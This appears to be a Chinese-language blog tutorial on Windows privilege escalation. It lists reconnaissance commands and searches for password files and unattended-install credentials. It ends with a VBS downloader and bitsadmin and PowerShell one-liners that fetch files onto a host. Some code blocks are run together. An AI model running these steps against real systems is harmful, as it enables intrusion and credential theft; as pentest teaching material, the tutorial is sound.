Windows許可權提升基礎知識和命令

標籤：sysprep   瞭解   應用程式   min   order   資源   啟動   targe   arch   

介紹

這篇文章是介紹window的許可權提升，雖然不是一個全面的指南，但會試圖覆蓋主要的技術，常用的資源清單在文章底部，可供大家參考。

window許可權提升基礎知識

初始資訊收集

在開始提權之前,我們需要瞭解作業系統基本的資訊,如安裝軟體,作業系統版本,串連使用者,連接埠進程等資訊,

確定作業系統名稱和版本

1	C:\Users\sanr> systeminfo | findstr /B /C:”OS Name” /C:”OS Version”

查看主機名稱

1	C:\Users\sanr> hostname

查看所有環境變數

1	C:\Users\sanr> SET

查看使用者跟使用者詳細資料

12	C:\Users\sanr> net userC:\Users\sanr> net user sanr

查看線上使用者

1	C:\Users\sanr> query user

查詢終端連接埠

1	C:\Users\sanr> REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server\WinStations\RDP-Tcp /v PortNumber

網路連接

讓我們來看看該系統的網路設定 – 基本網路，路由，防火牆等。

查看ip dns地址

1	C:\Users\sanr>ipconfig /all

要查看路由表

1	C:\Users\sanr> route print

要查看ARP緩衝：

1	C:\Users\sanr> arp -A

查看網路連接

1	C:\Users\sanr> netstat -ano

要查看防火牆規則：

123	C:\Users\sanr> netstat -anoC:\Users\sanr> netsh firewall show configC:\Users\sanr> netsh firewall show state

應用程式和服務

查看系統上的計劃任務

1	C:\Users\sanr> schtasks /QUERY /fo LIST /v

要查看服務的進程ID：

1	C:\Users\sanr> tasklist /SVC

要查看已安裝驅動程式的列表：

1	C:\Users\sanr> DRIVERQUERY

查看已經啟動Windows 服務

1	C:\Users\sanr> net start

查看某服務啟動許可權

123456789101112

C:\Users\sanr> sc qc mysqla[SC] QueryServiceConfig 成功SERVICE_NAME: mysqlaTYPE : 10 WIN32_OWN_PROCESSSTART_TYPE : 2 AUTO_STARTERROR_CONTROL : 1 NORMALBINARY_PATH_NAME : “D:\Program Files\phpstudy\mysql\bin\mysqld.exe” MySQLaLOAD_ORDER_GROUP :TAG : 0DISPLAY_NAME : MySQLaDEPENDENCIES :SERVICE_START_NAME : LocalSystem

利用WMIC擷取有價值的資料

查看其版本的已安裝程式的列表

1	C:\Users\sanr> wmic product list brief

查看服務，進程或啟動程式的列表：

123	C:\Users\sanr> wmic service list brief # Lists servicesC:\Users\sanr> wmic process list brief # Lists processesC:\Users\sanr> wmic startup list brief # Lists startup items

檢查已安裝的更新和安裝日期

1	C:\Users\sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn

搜尋，您可以使用提升許可權的特定漏洞

12	C:\Users\sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:”KBxxxxxxx”# Replace with a patch version that you are searching for. Eg – KB3000061

執行上面的命令的沒有輸出，意味著那個補丁未安裝。

敏感性資料和directories

檢查未加密的密碼，或敏感資訊的檔案多汁:

12345

C:\Users\sanr> cd/C:\Users\sanr> dir /b/s password.txt # Will search for all password.txt files on the filesystem.C:\Users\sanr> dir /b/s config.* # Will search for all files starting with ‘config’ on the filesystem.C:\Users\sanr> findstr /si password *.xml *.ini *.txtC:\Users\sanr> findstr /si login *.xml *.ini *.txt

除此之外，您還可以檢查無人值守安裝記錄檔。這些檔案通常包含base64編碼的密碼。你更可能在大型企業中，其中單個系統的手動安裝是不切實際的找到這些檔案。這些檔案的共同位置是：

1234	C:\sysprep.infC:\sysprep\sysprep.xmlC:\Windows\Panther\Unattend\Unattended.xmlC:\Windows\Panther\Unattended.xml

目錄檔案操作

列出d:\www的所有目錄：

1	for /d %i in (d:\www\*) do @echo %i

把當前路徑下檔案夾的名字只有1-3個字母的顯示出來：

1	for /d %i in (???) do @echo %i

以目前的目錄為搜尋路徑，把目前的目錄與下面的子目錄的全部EXE檔案列出：

1	for /r %i in (*.exe) do @echo %i

以指定目錄為搜尋路徑，把目前的目錄與下面的子目錄的所有檔案列出

1	for /r “f:\freehost\hmadesign\web\” %i in (*.*) do @echo %i

顯示a.txt裡面的內容，因為/f的作用，會讀出a.txt中：

123456789101112

for /f %i in (c:\1.txt) do echo %iRAR 打包C:\Users\sanr> rar a -k -r -s -m3 c:\1.rar c:\foldephp讀檔案C:\Users\sanr> c:/php/php.exe “c:/www/admin/1.php”<?php$file_handle = fopen(“f:/config.asp”, “r”);while (! feof($file_handle)) {  echo fgets($file_handle);}fclose($file_handle);?>

利用系統程式,檔案下載

擁有了這些資訊，我們現在可以開始實際提升我們的特權的過程。

利用vbs來讓我們上傳檔案,是一個vbs下載者,原理是下載檔案到這台電腦(需要訪問網路)：

12345678910111213141516171819202122

‘ downloadfile.vbs‘ Set your settingsstrFileURL = “http://127.0.0.1/text.ico”strHDLocation = “d:\text.ico”‘ Fetch the fileSet objXMLHTTP = CreateObject(“MSXML2.XMLHTTP”)objXMLHTTP.open “GET”, strFileURL, falseobjXMLHTTP.send()If objXMLHTTP.Status = 200 ThenSet objADOStream = CreateObject(“ADODB.Stream”)objADOStream.OpenobjADOStream.Type = 1 ‘adTypeBinaryobjADOStream.Write objXMLHTTP.ResponseBodyobjADOStream.Position = 0 ‘Set the stream position to the startSet objFSO = Createobject(“Scripting.FileSystemObject”)If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocationSet objFSO = NothingobjADOStream.SaveToFile strHDLocationobjADOStream.CloseSet objADOStream = NothingEnd ifSet objXMLHTTP = Nothing

這個指令碼可以在任何版本的Windows上運行,要執行它,如下。

1	C:\Users\sanr> script.exe downloadfile.vbs

如果作業系統是Windows7及以上的,使用的bitsadmin跟powershell：

12	C:\Users\sanr> bitsadmin /transfer n http://www.jd.com/favicon.ico d:\text.icoC:\Users\sanr> powershell (new-object System.Net.WebClient).DownloadFile(‘http://www.jd.com/favicon.ico’,’text.ico’)

下載檔案方式還有一些其他的方式,比如ftp php python,可根據自己的需求來選擇。

Windows許可權提升基礎知識和命令